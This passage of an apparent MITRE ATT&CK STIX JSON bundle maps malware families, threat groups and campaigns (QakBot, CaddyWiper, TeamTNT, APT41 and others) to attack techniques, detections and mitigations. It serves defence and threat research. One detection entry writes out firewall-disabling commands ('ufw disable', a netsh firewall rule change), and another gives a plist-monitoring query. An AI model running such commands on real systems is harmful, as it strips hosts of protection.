SocGholish-update)","relationship_type":"uses","source_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a63fc51d-0bec-49e8-8258-13ed157efbeb","created":"2022-03-09T18:35:37.040Z","x_mitre_version":"1.0","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Diavol](https://attack.mitre.org/software/S0659) can enumerate victims' local and external IPs when registering with C2.(Citation: Fortinet Diavol July 2021)","modified":"2022-04-15T00:42:34.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a641447f-995a-4f06-93d2-637e265c7638","created":"2021-10-01T01:57:31.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ATT TeamTNT Chimaera September 2020","description":"AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021.","url":"https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera"},{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.714Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has searched for system version, architecture, disk partition, logical volume, and hostname information.(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6424b64-2e69-4afc-a239-f9fcbff62862","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor for API calls that may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. Disk check, forensic utilities, and data from device drivers (i.e. API calls) may reveal anomalies that warrant deeper investigation. (Citation: ITWorld Hard Disk Health Dec 2014)","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ITWorld Hard Disk Health Dec 2014","description":"Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.","url":"https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a649c784-c4f5-4892-be23-b6cb745ce60a","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor for files being accessed to exfiltrate data to a cloud storage service rather than over their primary command and control channel.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a64c16bf-284e-4a74-a5c9-bcaee4d36313","type":"relationship","created":"2021-09-30T12:48:38.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberint Qakbot May 2021","url":"https://blog.cyberint.com/qakbot-banking-trojan","description":"Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021."},{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-09-30T13:49:36.159Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use advanced web injects to steal web banking credentials.(Citation: Cyberint Qakbot May 2021)(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a65042f5-d095-48aa-9856-a8c00d528087","created":"2022-09-30T20:49:34.291Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:49:34.291Z","description":"[S-Type](https://attack.mitre.org/software/S0085) has used `ipconfig /all` on a compromised host.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a65cc371-4fa4-48e9-b95d-22ac81d67085","type":"relationship","created":"2022-03-23T20:35:57.956Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET CaddyWiper March 2022","url":"https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine","description":"ESET. (2022, March 15). CaddyWiper: New wiper malware discovered in Ukraine. Retrieved March 23, 2022."},{"source_name":"Cisco CaddyWiper March 2022","url":"https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html","description":"Malhotra, A. (2022, March 15). Threat Advisory: CaddyWiper. Retrieved March 23, 2022."}],"modified":"2022-03-24T13:41:47.605Z","description":"[CaddyWiper](https://attack.mitre.org/software/S0693) can work alphabetically through drives on a compromised system to take ownership of and overwrite all files.(Citation: ESET CaddyWiper March 2022)(Citation: Cisco CaddyWiper March 2022)","relationship_type":"uses","source_ref":"malware--b30d999d-64e0-4e35-9856-884e4b83d611","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a65fd9d5-0802-44ca-9d8b-025a62455faf","type":"relationship","created":"2020-08-06T13:39:24.257Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"G Data Sodinokibi June 2019","url":"https://www.gdatasoftware.com/blog/2019/06/31724-strange-bits-sodinokibi-spam-cinarat-and-fake-g-data","description":"Han, Karsten. (2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020."},{"source_name":"Cylance Sodinokibi July 2019","url":"https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html","description":"Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."},{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."},{"source_name":"McAfee Sodinokibi October 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020."},{"source_name":"Picus Sodinokibi January 2020","url":"https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware","description":"Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020."}],"modified":"2020-08-06T13:39:24.257Z","description":"[REvil](https://attack.mitre.org/software/S0496) has been distributed via malicious e-mail attachments including MS Word Documents.(Citation: G Data Sodinokibi June 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks REvil September 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Picus Sodinokibi January 2020)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a665756c-06f8-44a2-b6e6-5143d1d59400","type":"relationship","created":"2020-03-02T14:22:24.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-25T19:03:53.657Z","description":"Consider encrypting important information to reduce an adversary’s ability to perform tailored data modifications.","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a66aff09-0635-44a3-b591-a530a25c9012","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Russinovich Sysinternals","description":"Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.","url":"https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx"}],"modified":"2020-03-20T19:20:27.705Z","description":"Microsoft Sysinternals [PsExec](https://attack.mitre.org/software/S0029) is a popular administration tool that can be used to execute binaries on remote systems using a temporary Windows service.(Citation: Russinovich Sysinternals)","relationship_type":"uses","source_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a66b1fae-e3cb-4165-92e0-33ade119e66f","created":"2024-03-28T15:44:10.295Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:14:57.703Z","description":"During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) routinely deleted tools, logs, and other files after they were finished with them.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a66c8397-99c0-494c-9cbe-4055e0b2f6a1","type":"relationship","created":"2020-03-29T21:52:43.303Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T21:27:48.386Z","description":"Ensure proper Registry permissions are in place to prevent adversaries from disabling or interfering with security services.","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a671109b-6622-4e11-9962-eeb78ae4c703","created":"2024-02-06T17:57:36.161Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-16T13:46:00.085Z","description":"Monitor script processes, such as `wscript.exe`, that may be used to proxy execution of malicious files. ","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--e6f19759-dde3-47fc-99cc-d9f5fa4ade60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a679be02-156a-4e02-bfa5-ce07b60d147b","type":"relationship","created":"2020-05-08T19:27:12.540Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."}],"modified":"2020-05-12T15:18:44.163Z","description":"[PowerShower](https://attack.mitre.org/software/S0441) has added a registry key so future powershell.exe instances are spawned off-screen by default, and has removed all registry entries that are left behind during the dropper process.(Citation: Unit 42 Inception November 2018)","relationship_type":"uses","source_ref":"malware--53486bc7-7748-4716-8190-e4f1fde04c53","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a67d4b9b-0c8f-41d8-a7f2-6d4c61fcb1ea","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.","url":"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}],"modified":"2020-03-18T16:11:08.087Z","description":"[USBStealer](https://attack.mitre.org/software/S0136) mimics a legitimate Russian program called USB Disk Security.(Citation: ESET Sednit USBStealer 2014)","relationship_type":"uses","source_ref":"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a686a939-b320-4326-bae1-8df65254ae46","created":"2023-01-03T19:16:21.206Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-03T19:16:21.206Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used `cmd.exe` to execute reconnaissance commands.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a68a4d37-e2dd-4981-893d-20c43d056539","created":"2021-10-01T01:57:31.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro TeamTNT","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"},{"source_name":"Aqua TeamTNT August 2020","description":"Kol, Roi. Morag, A. (2020, August 25). Deep Analysis of TeamTNT Techniques Using Container Images to Attack. Retrieved September 22, 2021.","url":"https://blog.aquasec.com/container-security-tnt-container-attack"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:34:44.669Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has encrypted its binaries via AES and encoded files using Base64.(Citation: Trend Micro TeamTNT)(Citation: Aqua TeamTNT August 2020)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a68c1482-d13d-41f1-98b0-01c78812b0ae","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T20:05:14.029Z","description":"Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders. [Launch Agent](https://attack.mitre.org/techniques/T1543/001) or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious.\n\nAnalytic 1 - Suspicious plist file modifications.\n\nsourcetype=osquery OR sourcetype=FSEvents\n| search file_path IN (\"/Library/LaunchAgents/*\", \"/Library/LaunchDaemons/*\")\n| where file_action=\"modified\" AND new_executable_path IN (\"/tmp/*\", \"/Shared/*\")\n ","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a68cb676-409e-483d-8af1-500d57ad1f81","created":"2021-12-27T16:53:13.989Z","x_mitre_version":"1.0","external_references":[{"source_name":"Uptycs Confucius APT Jan 2021","url":"https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat","description":"Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Confucius](https://attack.mitre.org/groups/G0142) has used HTTP for C2 communications.(Citation: Uptycs Confucius APT Jan 2021)","modified":"2022-06-30T20:15:32.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a68d8191-b374-4741-a249-1db3515d581b","type":"relationship","created":"2019-07-19T17:14:24.029Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2020-03-17T14:55:47.412Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) compressed and staged files in multi-part archives in the Recycle Bin prior to exfiltration.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a68e6fa7-1d89-48ba-9b0e-0e1378ba52c0","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor executed commands and arguments associated with disabling or the modification of system firewalls such as netsh advfirewall firewall set rule group=\"file and printer sharing\" new enable=Yes,ufw disable, and ufw logging off.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a68efc4c-4e5d-448a-8df4-2cf1980e716e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"}],"modified":"2019-09-16T19:41:10.245Z","description":"[More_eggs](https://attack.mitre.org/software/S0284) has the capability to gather the IP address from the victim's machine.(Citation: Talos Cobalt Group July 2018)","relationship_type":"uses","source_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a68fb27c-1aaf-474f-b97c-aff986eb5bbe","type":"relationship","created":"2021-06-22T15:20:39.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-10-11T14:01:45.761Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used [Wevtutil](https://attack.mitre.org/software/S0645) to remove PowerShell execution logs.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a6904fd0-d121-4b26-b05c-1615e3baf599","created":"2022-07-14T17:37:24.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="},{"source_name":"BlackBerry Amadey 2020","description":"Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.","url":"https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T15:39:50.134Z","description":"[Amadey](https://attack.mitre.org/software/S1025) has collected the computer name and OS version from a compromised machine.(Citation: Korean FSI TA505 2020)(Citation: BlackBerry Amadey 2020)","relationship_type":"uses","source_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6944696-304c-4813-8285-56275e926f9f","type":"relationship","created":"2019-04-23T20:46:57.182Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.","url":"https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/","source_name":"CoinTicker 2019"}],"modified":"2019-04-29T21:19:35.026Z","description":"[CoinTicker](https://attack.mitre.org/software/S0369) decodes the initially-downloaded hidden encoded file using OpenSSL.(Citation: CoinTicker 2019)","relationship_type":"uses","source_ref":"malware--d1531eaa-9e17-473e-a680-3298469662c3","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6959fa0-405c-49b9-983e-653569247dbd","type":"relationship","created":"2021-09-14T20:47:33.528Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sentinel Labs WastedLocker July 2020","url":"https://www.sentinelone.com/labs/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/","description":"Walter, J.. (2020, July 23). WastedLocker Ransomware: Abusing ADS and NTFS File Attributes. Retrieved September 14, 2021."}],"modified":"2021-09-14T20:47:33.528Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) can enumerate removable drives prior to the encryption process.(Citation: Sentinel Labs WastedLocker July 